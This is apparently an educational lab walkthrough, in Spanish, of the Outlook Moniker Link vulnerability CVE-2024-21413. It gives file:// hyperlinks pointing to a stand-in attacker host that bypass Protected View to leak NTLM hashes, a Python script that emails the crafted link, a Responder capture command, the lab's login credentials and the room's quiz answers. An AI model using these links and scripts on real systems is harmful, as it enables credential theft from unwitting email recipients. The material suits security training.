
Exploit educativo para CVE-2024-21413 (Moniker Link) que demuestra RCE en Outlook y fuga de credenciales NTLM a través de hipervínculos manipulados, con orientación de detección y remediación.
El 13 de febrero de 2024, Microsoft anunció una vulnerabilidad de RCE y fuga de credenciales en Microsoft Outlook con el CVE asignado CVE-2024-21413 (Moniker Link). Haifei Li de Check Point Research es acreditado por descubrir la vulnerabilidad.
La vulnerabilidad elude los mecanismos de seguridad de Outlook al manejar un tipo específico de hipervínculo conocido como Moniker Link. Un atacante puede abusar de esto enviando un correo electrónico que contenga un Moniker Link malicioso a una víctima, lo que provoca que Outlook envíe las credenciales NTLM del usuario al atacante una vez que se hace clic en el hipervínculo.
Los detalles relacionados con la puntuación de la vulnerabilidad se han proporcionado en la tabla a continuación:
CVSS Descripción Fecha de publicación 13 de febrero de 2024 Artículo de MS https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413 Impacto Ejecución remota de código y fuga de credenciales Gravedad Crítica Complejidad del ataque Baja Puntuación 9.8
Se sabe que la vulnerabilidad afecta las siguientes versiones de Office:
Lanzamiento Versión Microsoft Office LTSC 2021 afectado desde 19.0.0 Microsoft 365 Apps for Enterprise afectado desde 16.0.1 Microsoft Office 2019 afectado desde 16.0.1 Microsoft Office 2016 afectado desde 16.0.0 antes de 16.0.5435.1001
Ten en cuenta que necesitarás tanto el AttackBox como la máquina vulnerable adjunta a esta tarea. Para desplegar la máquina virtual adjunta, presiona el botón verde "Iniciar máquina" a continuación.
Usuario tryhackme Contraseña Kkh3gv439dnq!
¿Qué calificación de "Gravedad" se le ha asignado al CVE? > RESPUESTA : Crítica
Outlook puede renderizar correos electrónicos como HTML. Puede que notes que esto se usa en tus boletines favoritos. Además, Outlook puede analizar hipervínculos como HTTP y HTTPS. Sin embargo, también puede abrir URL que especifiquen aplicaciones conocidas como Moniker Links. Normalmente, Outlook mostrará una advertencia de seguridad cuando se activen aplicaciones externas.
La Vista Protegida de Outlook se activa al lanzar una aplicación externa
Esta ventana emergente es el resultado de la "Vista Protegida" de Outlook. La Vista Protegida abre correos electrónicos que contienen archivos adjuntos, hipervínculos y contenido similar en modo de solo lectura, bloqueando elementos como macros (especialmente de fuera de una organización).
Al usar el Moniker Link file:// en nuestro hipervínculo, podemos indicar a Outlook que intente acceder a un archivo, como un archivo en un recurso compartido de red (<a href="file://ATTACKER_IP/test">Click me</a>). Se utiliza el protocolo SMB, que implica el uso de credenciales locales para la autenticación. Sin embargo, la "Vista Protegida" de Outlook detecta y bloquea este intento.
La vulnerabilidad aquí existe al modificar nuestro hipervínculo para incluir el carácter especial ! y algo de texto en nuestro Moniker Link, lo que resulta en eludir la Vista Protegida de Outlook. Por ejemplo: <a href="file://ATTACKER_IP/test!exploit">Click me</a>.
Nosotros, como atacantes, podemos proporcionar un Moniker Link de esta naturaleza para el ataque. Ten en cuenta que el recurso compartido no necesita existir en el dispositivo remoto, ya que se intentará una autenticación de todas formas, lo que llevará a que el hash netNTLMv2 de Windows de la víctima se envíe al atacante.
La ejecución remota de código (RCE) es posible porque los Moniker Links utilizan el Modelo de Objetos Componentes (COM) en Windows. Sin embargo, explicar esto está actualmente fuera del alcance de esta sala, ya que no hay una prueba de concepto publicada para lograr RCE a través de este CVE específico.
¿Qué tipo de Moniker Link usamos en el hipervínculo? > RESPUESTA : file:// ¿Cuál es el carácter especial utilizado para eludir la "Vista Protegida" de Outlook? > RESPUESTA : !
Para este ataque, enviaremos por correo electrónico a nuestra víctima un Moniker Link similar al proporcionado en la tarea anterior. El objetivo, como atacante, es elaborar un correo electrónico para la víctima con un Moniker Link que eluda la "Vista Protegida" de Outlook, donde el cliente de la víctima intentará cargar un archivo desde nuestra máquina atacante, resultando en la captura del hash netNTLMv2 de la víctima.
Pero primero, revisemos un PoC que he creado (que también está disponible en GitHub).
''' Author: CMNatic | https://github.com/cmnatic Version: 1.0 | 19/02/2024 ''' import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.utils import formataddr sender_email = '[email protected]' # Replace with your sender email address receiver_email = '[email protected]' # Replace with the recipient email address password = input("Enter your attacker email password: ") html_content = """\ """ message = MIMEMultipart() message['Subject'] = "CVE-2024-21413" message["From"] = formataddr(('CMNatic', sender_email)) message["To"] = receiver_email # Convert the HTML string into bytes and attach it to the message object msgHtml = MIMEText(html_content,'html') message.attach(msgHtml) server = smtplib.SMTP('MAILSERVER', 25) server.ehlo() try: server.login(sender_email, password) except Exception as err: print(err) exit(-1) try: server.sendmail(sender_email, [receiver_email], message.as_string()) print("\n Email delivered") except Exception as error: print(error) finally: server.quit()
El PoC:
Usemos Responder para crear un listener SMB en nuestra máquina atacante. Para el AttackBox de THM, la interfaz será -I ens5. El nombre de la interfaz diferirá si usas tu propio dispositivo (ej. Kali). Si quieres tarea adicional, también se puede usar un servidor Impacket.
Iniciando Responder en nuestro AttackBox
root@attackbox:# responder -I ens5
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.1.0
Author: Laurent Gaffie ([email protected])
To kill this script hit CTRL-C
-- cut for brevity --
[+] Listening for events...